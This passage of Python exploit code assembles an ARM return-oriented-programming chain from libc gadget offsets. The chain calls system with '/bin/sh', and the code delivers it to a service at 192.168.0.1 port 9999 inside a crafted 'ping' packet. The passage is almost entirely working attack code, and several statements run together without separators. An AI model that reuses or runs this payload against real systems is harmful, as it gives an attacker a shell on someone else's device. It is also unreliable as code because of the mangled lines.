data2+=pack('<I',libc_base_address+0x000755f5)# Garbage r4 data from trap function
data2+='DDDD'#Third Gadget
#move the old stack pointer to R0 -> 0x00057066 (0x00057067): mov r0, r1; blx r3;
data2+=pack('<I',libc_base_address+0x00057067)#Setup Offset in R4 for Add to R0 (SP copy)
data2+=pack('<I',24)#Fourth Gadget -> 0x000594b4 (0x000594b5): add r0, r4; pop {r4, pc};
data2+=pack('<I',libc_base_address+0x000594b5)# Garbage R4 data
data2+='EEEE'#R4 System address for the blx
data2+=pack('<I',libc_base_address+0x0002d48d)data2+='/bin/sh\x00'sock2=socket.socket(socket.AF_INET,socket.SOCK_STREAM)sock2.connect(('192.168.0.1',9999))ping=pack('<I',0x11223344)# ping magic bytes 11223344
ping+=pack('<I',ping_header_size+len(data2))# ping data size = header + data_length
ping+=pack('<I',0)# ping
ping+=data2sock2.sendall(ping)x=recv_uint32s(sock2,0)